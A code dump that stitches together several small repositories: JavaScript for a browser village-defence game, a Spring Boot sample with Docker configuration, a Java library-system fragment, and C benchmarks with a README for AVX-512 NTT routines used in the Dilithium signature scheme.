buttons = document.getElementsByTagName("button");
for (let i = 0; i < buttons.length; i++) {
if(buttons[i].className == "speedController" || buttons[i].className == "menuControls"){
}else{
buttons[i].classList.remove("disabled");
}
}
speedButton_0.style.cursor = "auto";
speedButton_1.style.cursor = "auto";
speedButton_2.style.cursor = "auto";
speedButton_pause.style.cursor = "auto";
speedButton_0.style.opacity = 1;
speedButton_1.style.opacity = 1;
speedButton_2.style.opacity = 1;
speedButton_pause.style.opacity = 1;
gamePaused = false;
switch(speed){
case 0:
resourceCalculationTime = 100;
speedButton_0.style.cursor = "not-allowed";
speedButton_0.style.opacity = 0.2;
break;
case 1:
resourceCalculationTime = 40;
speedButton_1.style.cursor = "not-allowed";
speedButton_1.style.opacity = 0.2;
break;
case 2:
resourceCalculationTime = 10;
speedButton_2.style.cursor = "not-allowed";
speedButton_2.style.opacity = 0.2;
break;
case 99:
clearInterval(resourceIntervalId);
gamePaused = true;
speedButton_pause.style.cursor = "not-allowed";
speedButton_pause.style.opacity = 0.2;
for (let i = 0; i < buttons.length; i++) {
if(buttons[i].className == "speedController" || buttons[i].className == "menuControls"){
}else{
buttons[i].classList.add("disabled");
}
}
return;
}
clearInterval(resourceIntervalId);
resourceIntervalId = setInterval(calculateResources, resourceCalculationTime);
}
const rollDie = (chanceOutOfHundred) => {
if(chanceOutOfHundred === 0){
return;
}
let randNum = Math.floor(Math.random() * 100);
return Math.floor(randNum <= chanceOutOfHundred);
}
let signifyingDouble = false;
const doubleSignifier = (type) => {
signifyingDouble = true;
document.getElementById(type + "StockBox").style.background = "#99B898";
setTimeout(function(){
document.getElementById(type + "StockBox").style.background = "#e9ffe9";
signifyingDouble = false;
}, 1000);
}
function calculateResources(){
dayCycle();
//FOOD
if(total_foragers > 0){
foodTick++;
}
if(foodTick >= (foodTickLimit)){
foodTick = 0;
total_food += villager_food_generation * total_foragers;
total_food_collected += villager_food_generation * total_foragers;
if(rollDie(chanceForDoubleFood)){
total_food += villager_food_generation * total_foragers;
doubleSignifier("food");
updateText("double food (+" + ((villager_food_generation * total_foragers) * 2 + ")"));
}
if(total_food > highest_food_count){
highest_food_count = total_food;
}
audio_gotFood.play();
}
//WOOD
if(total_collectors > 0){
woodTick++;
}
if(woodTick >= (woodTickLimit)){
woodTick = 0;
total_wood += villager_wood_generation * total_collectors;
total_wood_collected += villager_wood_generation * total_collectors;
if(rollDie(chanceForDoubleWood)){
total_wood += villager_wood_generation * total_collectors;
doubleSignifier("wood");
updateText("double wood (+" + ((villager_wood_generation * total_collectors) * 2) + ")");
}
if(total_wood > highest_wood_count){
highest_wood_count = total_wood;
}
audio_gotWood.play();
}
building();
doScience();
//building bar
document.getElementById("buildingBarFiller").style.width = (((buildHomesNow ? buildingHomeTick : buildingWallTick) / (buildHomesNow ? buildingHomeTickLimit : buildingWallTickLimit)) * 100) + "%";
//science bar
document.getElementById("upgradeBarFiller").style.width = ((scienceTick / scienceTickLimit) * 100) + "%";
//check upkeep and wood stocks and signify if too low
checkFoodAndWoodStock();
drainVillagersEnergy();
updateGameText();
}
const checkFoodAndWoodStock = () =>{
if(signifyingDouble){
return;
}
if(total_wood === 0){
if(total_builders > 0){
document.getElementById("woodStockBox").style.background = "#FF847C";
}else{
document.getElementById("woodStockBox").style.background = "#e9ffe9";
}
}else{
document.getElementById("woodStockBox").style.background = "#e9ffe9";
}
if(total_food < food_upkeep){
document.getElementById("foodStockBox").style.background = "#FF847C";
}else{
document.getElementById("foodStockBox").style.background = "#e9ffe9";
}
}
function building(){
if(buildHomesNow){
buildingHomes();
}else{
buildingWalls();
}
}
function buildHomes(){
audio_buildingChange.play();
buildHomesNow = true;
document.getElementById("currentlyBuilding").innerHTML = "homes";
let buildHomesButton = document.getElementById("build_homes");
let buildWallsButton = document.getElementById("build_walls");
buildHomesButton.classList.add("disabled");
buildWallsButton.classList.remove("disabled");
buildHomesButton.style.opacity = 0.6;
buildWallsButton.style.opacity = 1;
}
function buildWalls(){
audio_buildingChange.play();
buildHomesNow = false;
document.getElementById("currentlyBuilding").innerHTML = "walls";
let buildHomesButton = document.getElementById("build_homes");
let buildWallsButton = document.getElementById("build_walls");
buildHomesButton.classList.remove("disabled");
buildWallsButton.classList.add("disabled");
buildHomesButton.style.opacity = 1;
buildWallsButton.style.opacity = 0.6;
}
function buildingHomes(){
if(total_builders > 0 && total_wood > 0){
for (let i = 0; i < total_builders; i++) {
buildingHomeTick++;
if(buildingHomeTick % buildingHomeTickPerWood === 0){
total_wood -= buildingHomeTickWoodCost;
audio_buildTick.play();
}
}
if(buildingHomeTick >= buildingHomeTickLimit){
buildingHomeTick = 0;
audio_buildingFinished.play();
updateText("new home built");
total_homes++;
total_homes_built++;
buildingHomeTickLimit += 100;
}
}
}
function buildingWalls(){
if(total_builders > 0 && total_wood > 0){
for (let i = 0; i < total_builders; i++) {
buildingWallTick++;
if(buildingWallTick % buildingWallTickPerWood === 0){
total_wood -= buildingWallTickWoodCost;
audio_buildTick.play();
}
}
if(buildingWallTick >= buildingWallTickLimit){
buildingWallTick = 0;
audio_buildingFinished.play();
updateText("walls reinforced");
wallStrength += wallStrengthIncreaseAmount;
//total_walls_built += wallStrengthIncreaseAmount;
buildingWallTickLimit += 100;
}
}
}
function dayCycle(){ // ~30 seconds for a day
timeOfDay += 0.33;
if(timeOfDay > 100){
//end of day
timeOfDay = 0;
endOfDay();
}
document.getElementById("dayCycleFiller").style.width = timeOfDay + "%";
}
function endOfDay(){
total_days++;
audio_dayFinished.play();
updateText("end of day " + total_days);
total_food -= food_upkeep;
if(total_food < 0){
while(total_food < 0){
total_food += villager_food_cost;
killVillager(villagers[Math.floor((Math.random() * villagers.length - 1) + 1)], true);
if(villagers.length == 0){
updateText("not enough food to feed everyone");
return;
}
}
total_food = 0;
}else{
if(total_villagers < total_homes * villagers_per_home){
addVillager(1, true);
}
}
enemyCheck();
}
function enemyCheck(){
if(nextAttackCountdown == 0){
updateText("enemies attacking");
audio_attackRound.play();
if(wallStrength < enemyStrength){
updateText("walls overwhelmed");
endGame();
return;
}else{
wallStrength -= enemyStrength;
Math.floor(buildingWallTickLimit -= (enemyStrength * 10));
if(buildingWallTickLimit < 1000){
buildingWallTickLimit = 1000;
}
attacksSurvived++;
total_attacks_survived++;
updateText("walls held, enemy retreating");
enemyStrength += attacksSurvived * 2;
nextAttackCountdown = nextAttackCountdownBonus;
}
}else{
nextAttackCountdown--;
}
}
function endGame(){
sendStatsToKong();
audio_gameEnd.play();
document.getElementById("speedControlDiv").style.display = "none";
document.removeEventListener('keydown', keypressHandler);
updateText("game over");
clearInterval(resourceIntervalId);
}
function updateGameText(){ //and manage some resource math
//VILLAGERS
document.getElementById("resText_homes").innerHTML = total_homes;
total_villagers = findAliveVillagers();
document.getElementById("resText_villagers").innerHTML = total_villagers;
//FOOD
document.getElementById("resText_food").innerHTML = total_food;
food_upkeep = villager_food_cost * total_villagers;
document.getElementById("resText_foodUpkeep").innerHTML = food_upkeep;
//WOOD
document.getElementById("resText_wood").innerHTML = total_wood;
//BUILDERS
document.getElementById("resText_builders").innerHTML = total_builders;
//SCIENTISTS
document.getElementById("resText_scientists").innerHTML = total_scientists;
//DAYS
document.getElementById("text_days").innerHTML = total_days;
document.getElementById("nextAttack").innerHTML = nextAttackCountdown;
//WALL
document.getElementById("wallStrength").innerHTML = wallStrength;
document.getElementById("enemyStrength").innerHTML = enemyStrength;
if(wallStrength >= enemyStrength){
document.getElementById("wallStrength").style.color = "#2A363B";
document.getElementById("enemyStrength").style.color = "#E84A5F";
}else{
document.getElementById("enemyStrength").style.color = "#2A363B";
document.getElementById("wallStrength").style.color = "#E84A5F";
}
//BUILD PRICES
document.getElementById("homesWoodCost").innerHTML = Math.floor(buildingHomeTickLimit / buildingHomeTickPerWood) + " wood";
document.getElementById("wallsWoodCost").innerHTML = Math.floor(buildingWallTickLimit / buildingWallTickPerWood) + " wood";
}
var helpOn = false;
function helpToggle(){
helpOn = !helpOn;
if(helpOn){
gameSpeed(99);
}else{
gameSpeed(0);
explainationStep = 0;
}
document.getElementById("helpDiv").style.display = helpOn? "block" : "none";
}
let statsOn = false;
function statsToggle(){
statsOn = !statsOn;
updateStatsText();
if(statsOn){
gameSpeed(99);
}else{
gameSpeed(0);
}
document.getElementById("statsBox").style.display = statsOn? "block" : "none";
}<file_sep>var updateTextBox = document.getElementById("updateText");
var updateTextBoxOld = document.getElementById("oldUpdateText");
var updateString = "";
var oldUpdateString = "";
function updateText(string){
oldUpdateString = updateString + " < " + oldUpdateString;
updateString = string;
updateTextBox.innerHTML = updateString + " < ";
updateTextBoxOld.innerHTML = oldUpdateString;
}
|
a94d332832e474448396d2af3aa53600f12fe99c
|
[
"JavaScript",
"Markdown"
] | 10
|
JavaScript
|
PetPumpkin/cow_town
|
c5d934236af259104358af4b3496e4c9339675e6
|
a7a5c92d4d068b8184bbb137c0be18ba392dbd43
|
refs/heads/master
|
<file_sep>package com.keyno.keynospringsample;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class KeynoSpringSampleApplication {
public static void main(String[] args) {
SpringApplication.run(KeynoSpringSampleApplication.class, args);
}
}
<file_sep>package com.keyno.keynospringsample.domain;
public interface HelloService {
String get(String type_a, String type_b);
}
<file_sep>package com.keyno.keynospringsample.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.keyno.keynospringsample.domain.HelloService;
import java.util.Map;
@RestController
@RequestMapping("/hello")
public class HelloController {
final private HelloService helloService;
public HelloController(HelloService helloService)
{
this.helloService = helloService;
}
@GetMapping("/get")
public String get(
@RequestParam String type_a,
@RequestParam(required = false) String type_b
)
{
return helloService.get(type_a, type_b);
}
@GetMapping("/map")
public Map<String, String> map(
@RequestParam(name = "key") String key,
@RequestParam(name = "value") String value
)
{
return Map.of(key, value);
}
}
<file_sep># keyno-spring-sample
<file_sep>version: '3'
services:
docker-spring-sample:
container_name: "docker-spring-sample"
build: ./
volumes:
- ../src:/app/src
- ../gradle:/app/gradle
- ../gradlew:/app/gradlew
- ../build.gradle:/app/build.gradle
ports:
- 18080:8080
expose:
- 18080
networks:
- default
tty: true
mysql57_springtest:
image: mysql:5.7
container_name: mysql57_springtest
restart: always
ports:
- 33306:3306
networks:
- default
tty: true
environment:
MYSQL_DATABASE: sample_db
MYSQL_USER: user
MYSQL_ROOT: root
MYSQL_PASSWORD: <PASSWORD>
MYSQL_ROOT_PASSWORD: <PASSWORD>
postgres:
image: postgres:11-alpine
container_name: postgres11_springtest
restart: always
ports:
- 35432:5432
tty: true
environment:
POSTGRES_DB: sample_db
POSTGRES_USER: fujiwara
POSTGRES_PASSWORD: <PASSWORD>
<file_sep>package com.keyno.keynospringsample;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class KeynoSpringSampleApplicationTests {
@Test
void contextLoads() {
}
}
<file_sep>FROM adoptopenjdk/openjdk11
#FROM openjdk:jdk-alpine
RUN mkdir /app
WORKDIR /app
ENTRYPOINT ["sh", "/app/gradlew", "bootRun"]
<file_sep>rootProject.name = 'keyno-spring-sample'
|
2bc1053131e3599f3bc871408c18501c3d0e949b
|
[
"YAML",
"Markdown",
"Gradle",
"Java",
"Dockerfile"
] | 8
|
Java
|
keyno63/keyno-spring-sample
|
049d68d3e53a21b58eb4daaa0db70f209d68df01
|
2e119838c45f9b9965887f8f62e1e1c81cd8c52b
|
refs/heads/master
|
<repo_name>ZeroDuck/SSM02<file_sep>/src/main/java/com/zxj/pojo/Record.java
package com.zxj.pojo;
import java.math.BigDecimal;
import java.sql.Date;
import java.util.Objects;
public class Record {
private int rid;
private int userId;
private int bookId;
private Date borrowTime;
private Date returnTime;
private BigDecimal cost;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Record record = (Record) o;
return rid == record.rid &&
userId == record.userId &&
bookId == record.bookId &&
borrowTime.equals(record.borrowTime) &&
returnTime.equals(record.returnTime) &&
cost.equals(record.cost);
}
@Override
public int hashCode() {
return Objects.hash(rid, userId, bookId, borrowTime, returnTime, cost);
}
@Override
public String toString() {
return "Record{" +
"rid=" + rid +
", userId=" + userId +
", bookId=" + bookId +
", borrowTime=" + borrowTime +
", returnTime=" + returnTime +
", cost=" + cost +
'}';
}
public Record() {
}
public Record(int rid, int userId, int bookId, Date borrowTime, Date returnTime, BigDecimal cost) {
this.rid = rid;
this.userId = userId;
this.bookId = bookId;
this.borrowTime = borrowTime;
this.returnTime = returnTime;
this.cost = cost;
}
public int getRid() {
return rid;
}
public void setRid(int rid) {
this.rid = rid;
}
public int getUserId() {
return userId;
}
public void setUserId(int userId) {
this.userId = userId;
}
public int getBookId() {
return bookId;
}
public void setBookId(int bookId) {
this.bookId = bookId;
}
public Date getBorrowTime() {
return borrowTime;
}
public void setBorrowTime(Date borrowTime) {
this.borrowTime = borrowTime;
}
public Date getReturnTime() {
return returnTime;
}
public void setReturnTime(Date returnTime) {
this.returnTime = returnTime;
}
public BigDecimal getCost() {
return cost;
}
public void setCost(BigDecimal cost) {
this.cost = cost;
}
}
<file_sep>/src/main/java/com/zxj/controller/BookController.java
package com.zxj.controller;
import com.zxj.pojo.Books;
import com.zxj.service.BookServiceImpl;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import java.util.List;
@Controller
@RequestMapping("/book")
public class BookController {
@Autowired
private BookServiceImpl bookService;
public void setBookService(BookServiceImpl bookService) {
this.bookService = bookService;
}
@RequestMapping("/addBook")
public String addBook(Books books) {
System.out.println(books);
bookService.addBook(books);
return "redirect:toAddBook";
}
@RequestMapping("/toAddBook")
public String toAdd() {
return "toAddBook";
}
@RequestMapping("/queryAllBook")
public String queryAllBook(Model model) {
List<Books> booksList = bookService.queryAllBooks();
model.addAttribute("booksList", booksList);
return "allBook";
}
}
<file_sep>/src/main/java/com/zxj/pojo/Books.java
package com.zxj.pojo;
import java.util.Objects;
public class Books {
private int bookId;
private String bookName;
private String bookDescription;
private boolean bookStatus;
private int bookCount;
public Books() {
}
public Books(int bookId, String bookName, String bookDescription, boolean bookStatus,int bookCount) {
this.bookId = bookId;
this.bookName = bookName;
this.bookDescription = bookDescription;
this.bookStatus = bookStatus;
this.bookCount = bookCount;
}
public boolean isBookStatus() {
return bookStatus;
}
public int getBookCount() {
return bookCount;
}
public void setBookCount(int bookCount) {
this.bookCount = bookCount;
}
public int getBookId() {
return bookId;
}
public void setBookId(int bookId) {
this.bookId = bookId;
}
public String getBookName() {
return bookName;
}
public void setBookName(String bookName) {
this.bookName = bookName;
}
public String getBookDescription() {
return bookDescription;
}
public void setBookDescription(String bookDescription) {
this.bookDescription = bookDescription;
}
public boolean getBookStatus() {
return bookStatus;
}
public void setBookStatus(boolean bookStatus) {
this.bookStatus = bookStatus;
}
@Override
public String toString() {
return "Books{" +
"bookId=" + bookId +
", bookName='" + bookName + '\'' +
", bookDescription='" + bookDescription + '\'' +
", bookStatus=" + bookStatus +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Books books = (Books) o;
return bookId == books.bookId &&
bookStatus == books.bookStatus &&
Objects.equals(bookName, books.bookName) &&
Objects.equals(bookDescription, books.bookDescription);
}
@Override
public int hashCode() {
return Objects.hash(bookId, bookName, bookDescription, bookStatus);
}
}
<file_sep>/src/main/java/com/zxj/service/UserService.java
package com.zxj.service;
import com.zxj.pojo.User;
public interface UserService {
// 1、增加添加用户
int addUser(User user);
// 2、修改用户
int updateUserById(User user);
// 3、查询用户
User queryUserById(int userId);
}
<file_sep>/src/main/java/com/zxj/dao/UserMapper.java
package com.zxj.dao;
import com.zxj.pojo.User;
public interface UserMapper {
// 1、增加添加用户
int addUser(User user);
// 2、修改用户
int updateUserById(User user);
// 3、查询用户
User queryUserById(int userId);
}
<file_sep>/README.md
# SSM02
SSM在线图书借阅系统半成品
<file_sep>/src/main/resources/db.properties
jdbc.driver=com.mysql.cj.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/ssm02?useSSL=false&serverTimezone=Hongkong&characterEncoding=utf-8&autoReconnect\
=true
jdbc.user=root
jdbc.password=<PASSWORD><file_sep>/src/main/java/com/zxj/dao/RecordMapper.java
package com.zxj.dao;
import com.zxj.pojo.Record;
import java.util.List;
public interface RecordMapper {
int addRecord(Record record);
int updateRecord(Record record);
List<Record> selectRecordByBookId(int bookId);
List<Record> selectRecordByUserId(int userId);
}
|
5bee87655c416a3548550ea966718a7368d4dca6
|
[
"Markdown",
"Java",
"INI"
] | 8
|
Java
|
ZeroDuck/SSM02
|
21b129ca4b18bf31c50ed7d0c9ec9cd75e1827a7
|
29180722a02030b9ee4fa2bef3d4c5adb47650b9
|
refs/heads/master
|
<file_sep>#include <stdint.h>
#include <stdio.h>
#include <immintrin.h>
#include <math.h>
#include "parameters.h"
#include <stdlib.h>
#include <string.h>
#include "ntt.h"
#include <omp.h>
#include <time.h>
#define TESTS 100000
uint64_t start, dif, finish, mintime = 0xffffffff, maxtime = 0;
extern const uint32_t new_zetas[];
extern const uint32_t new_zetas_inv[N];
static inline long long __rdtsc(void)
{
unsigned long long result;
asm volatile(".byte 15;.byte 49;shlq $32,%%rdx;orq %%rdx,%%rax"
: "=a" (result) :: "%rdx");
return result;
}
static void random_pol(uint32_t* a) {
unsigned int i;
uint32_t t;
i = 0;
while (i < N) {
t = (rand() << 8) | (rand() % 256);
if (t < Q_)
a[i++] = t;
}
}
void test_ntt()
{
ALIGN64 uint32_t a[N], c1[N], c2[N];
uint32_t i, j, k;
ALIGN64 uint64_t tmp[N];
random_pol(a);
printf("\n\n====TESTING NTT====\n");
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
for(j = 0; j < N/32; ++j)
ntt_levels0t2_avx(tmp + 4*j, a + 4*j, &new_zetas[1]);
for(j = 0; j < N/32; ++j)
ntt_levels3t8_avx(a + 32*j, tmp + 32*j, new_zetas + 8 + 31*j);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("dilithium_ntt: time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_512_cpp_(c2, a, new_zetas);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_512_cpp_: time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_512_asm__(c2, a, new_zetas);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_512_asm__: time = [%lu : %lu]\n", mintime, maxtime);
}
void test_pointwise()
{
printf("\n\n====TESTING POINTWISE====\n");
ALIGN64 uint32_t a[N], b[N], c1[N], c2[N], i, j;
random_pol(a);
random_pol(b);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_pointwise_mul_512_cpp(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_mul_512_cpp : time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
pointwise_avx(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("dilithium_pointwise_avx: time = [%lu : %lu]\n", mintime, maxtime);
}
void test_invntt()
{
ALIGN64 uint32_t a[N], c1[N], c2[N], i, j;
ALIGN64 uint64_t tmp[N];
random_pol(a);
printf("\n\n====TESTING INV NTT====\n");
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_inv_512_cpp(c2, a, new_zetas_inv);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_inv_512_cpp : time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
for(j = 0; j < N/32; j++)
invntt_levels0t4_avx(tmp + 32*j, a + 32*j, new_zetas_inv + 31*j);
for(j = 0; j < N/32; j++)
invntt_levels5t7_avx(a + 4*j, tmp + 4*j, new_zetas_inv + 248);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("ndilithium_ntt_inv: time = [%lu : %lu]\n", mintime, maxtime);
}
void test_new_pointwise_acc()
{
ALIGN64 uint32_t a[L*N],b[L*N],c1 [N],c2 [N],s1 [N],s2 [N];
uint32_t i, j, k;
printf("\n\n====TESTING POINTWISE ACC====\n");
for (i = 0; i < L; i++)
{
random_pol(a + i * N);
random_pol(b + i * N);
}
mintime = 0xffffffff, maxtime = 0;
for (k = 0; k < TESTS; k++)
{
start = __rdtsc();
new_pointwise_acc_cpp_512(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_acc_cpp_512: time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (k = 0; k < TESTS; k++)
{
start = __rdtsc();
new_pointwise_acc_asm_512(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_acc_asm_512 : time = [%lu : %lu]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (k = 0; k < TESTS; k++)
{
start = __rdtsc();
pointwise_acc_avx(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("dilithium_pointwise_acc_avx: time = [%lu : %lu]\n", mintime, maxtime);
}
int main(void) {
set_const_512();
test_ntt();
test_pointwise();
test_invntt();
test_new_pointwise_acc();
return 0;
}
<file_sep>#ifndef _align64_h
#define _align64_h
#if !defined (ALIGN64)
# if defined (__GNUC__)
# define ALIGN64 __attribute__ ( (aligned (64)))
# else
# define ALIGN64 __declspec (align (64))
# endif
#endif
#endif<file_sep>#include <stdint.h>
#include <stdio.h>
#include <intrin.h>
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "align64.h"
#include "cpucycles.h"
#include "parameters.h"
#define TESTS 10000
uint64_t start, dif, finish, mintime = 0xffffffff, maxtime = 0;
extern uint64_t _f;
extern const uint32_t new_zetas[];
extern const uint32_t new_zetas_inv[N];
void set_const_512();
void new_pointwise_mul_512_cpp(uint32_t* c, const uint32_t* a, const uint32_t* b);
void new_ntt_512_cpp_(uint32_t* dest, uint32_t* src, uint32_t* z);
void new_pointwise_acc_cpp_512(uint32_t c[], uint32_t a[], uint32_t b[]);
void new_pointwise_acc_asm_512(uint32_t c[], uint32_t a[], uint32_t b[]);
void new_ntt_inv_512_cpp(uint32_t dest[N], uint32_t src[N], const uint32_t* zetas_inv);
static void random_pol(uint32_t* a) {
unsigned int i;
uint32_t t;
i = 0;
while (i < N) {
t = (rand() << 8) | (rand() % 256);
if (t < Q_)
a[i++] = t;
}
}
void test_ntt()
{
printf("\n\n\n====TEST NTT====\n");
ALIGN64 uint32_t a[N], c1[N], c2[N];
uint32_t i, j, k;
ALIGN64 uint64_t tmp[N];
random_pol(a);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_512_cpp_(c2, a, new_zetas);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_512_cpp_: time = [%I64d : %I64d]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_512_asm__(c2, a, new_zetas);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_512_asm__: time = [%I64d : %I64d]\n", mintime, maxtime);
}
void test_pointwise()
{
printf("\n\n\n====TEST POINTWISE====\n");
ALIGN64 uint32_t a[N], b[N], c1[N], c2[N], i, j;
random_pol(a);
random_pol(b);
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_pointwise_mul_512_cpp(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_mul_512_cpp: time = [%I64d : %I64d]\n", mintime, maxtime);
}
void test_invntt()
{
printf("\n\n\n====TEST INV NTT====\n");
ALIGN64 uint32_t a[N], c1[N], c2[N], i, j;
random_pol(a);
ALIGN64 uint64_t temp1[N], temp2 [N];
mintime = 0xffffffff, maxtime = 0;
for (i = 0; i < TESTS; i++)
{
start = __rdtsc();
new_ntt_inv_512_cpp(c2, a, new_zetas_inv);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_ntt_inv_512_cpp: time = [%I64d : %I64d]\n", mintime, maxtime);
}
void test_new_pointwise_acc()
{
printf("\n\n\n====TEST POINTWISE ACC====\n");
ALIGN64 uint32_t a[L*N], b[L*N], c1 [N], c2 [N], s1 [N], s2 [N];
uint32_t i, j, k;
for (i = 0; i < L; i++)
{
random_pol(a + i * N);
random_pol(b + i * N);
}
mintime = 0xffffffff, maxtime = 0;
for (k = 0; k < TESTS; k++)
{
start = __rdtsc();
new_pointwise_acc_cpp_512(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_acc_cpp_512 time = [%I64d..%I64d]\n", mintime, maxtime);
mintime = 0xffffffff, maxtime = 0;
for (k = 0; k < TESTS; k++)
{
start = __rdtsc();
new_pointwise_acc_asm_512(c2, a, b);
finish = __rdtsc();
dif = finish - start;
if (dif < mintime)
mintime = dif;
if (dif > maxtime)
maxtime = dif;
}
printf("new_pointwise_acc_asm_512 time = [%I64d..%I64d]\n",mintime, maxtime);
}
int main(void) {
set_const_512();
test_ntt();
test_pointwise();
test_invntt();
test_new_pointwise_acc();
return 0;
}<file_sep># AVX512 NTT FOR DILITHIUM SIGNATURE SCHEME
Authors: <NAME>, <NAME>,<NAME>,<NAME>
Digital signature Dilithium – the finalist of the 2nd round of the NIST competition of post-quantum cryptographic algorithms (https://csrc.nist.gov/Projects/post-quantum-cryptography/round-3-submissions)
Special attention in optimization is paid to the operation of polynomials multiplication. To multiply polynomials, it is necessary to perform the following functions:
- Direct NTT transformation;
- Component-wise multiplication;
- Inverse NTT transformation.
The authors of Dilithium used AVX-2 operations and assembler language to implement these functions. We used AVX-512 operations and C language.
The use of C allows the same code to be used in processors with different architectures and different operating systems. The results of our implementation for:
- Processor Intel (R) Core (TM) i9-7960X CPU @ 2.80GHz, 2808 MHz cores, 16 logical processors: 32.
- System (Windows 10), Microsoft Visual Studio Community 2019, Version 16.6.2, VisualStudio.16.Release / 16.6.2 + 30204.135, / o2 optimization flags
- System (Linux), GCC 9.3, optimization flags: -O3 –march = native, -mtune = native
| Function | Linux, Dilithium (lang asm, GCC)|Linux(lang С, GCC) |Windows 10, (lang С, msvc) |Speedup Linux |Speedup Windows |
| ------------- | ------------- |------------- |------------- |------------- |------------- |
| Direct NTT transformation | 987 |663 |727 |1.48 |1.35 |
| Component-wise multiplication | 135 |81 |87 |1.6 |1.51 |
| Inverse NTT | 972 |677 |741 |1.43 |1.31 |
The table shows the results of measuring the number of cycles for each function. The rdtsc processor command or the corresponding function was used to measure the number of cycles.
The second column of the table shows the results for the author's implementation (Dilithium developers), which were obtained using the keys of the GCC compiler, which were used by the authors (Linux).
The third column shows the results of our implementation for the same GCC compiler keys that were used to obtain the previous results (Linux)
The fourth column shows the results of our implementation using the msvc compiler
The following columns show the acceleration for our implementation in relation to the author's implementation.
Conclusions:
1 Due to the use of 512-bit operations and special mixing algorithms, acceleration is achieved regardless of platforms
2 Using the C language instead of the assembler language allows to use cross-platform code
As an auxiliary result, our experiments showed that the use of assembler language instead of C does not allow to obtain sufficient speedup, if compilation modes with full optimization are selected
# РЕАЛІЗАЦІЯ NTT ДЛЯ СХЕМИ ЦИФРОВОГО ПІДПИСУ DILITHIUM З ВИКОРИСТАННЯМ AVX512
Цифровий підпис Dilithium – фіналіст 2 раунду конкурсу NIST постквантових криптографічних алгоритмів( https://csrc.nist.gov/Projects/post-quantum-cryptography/round-3-submissions)
Особлива увага при оптимізації наділяється операції множення поліномів.
Для множення поліномів необхідно виконати наступні функції:
Пряме NTT перетворення;
По компонентне множення;
Зворотне NTT перетворення
Автори Dilithium для реалізації цих функцій застосовували AVX-2 операції та мову асемблер.
Ми застосовували AVX-512 операції та мову C.
Застосування мови С дозволяє використовувати один і той же код для застосування в процесорах з різною архітектурою та для різних операційних систем.
Результати нашої реалізації наведені в таблиці для процесору Intel (R) Core (TM) i9-7960X CPU @ 2.80GHz, 2808 MHz cores, 16 logical processors: 32.
Компиляторы:
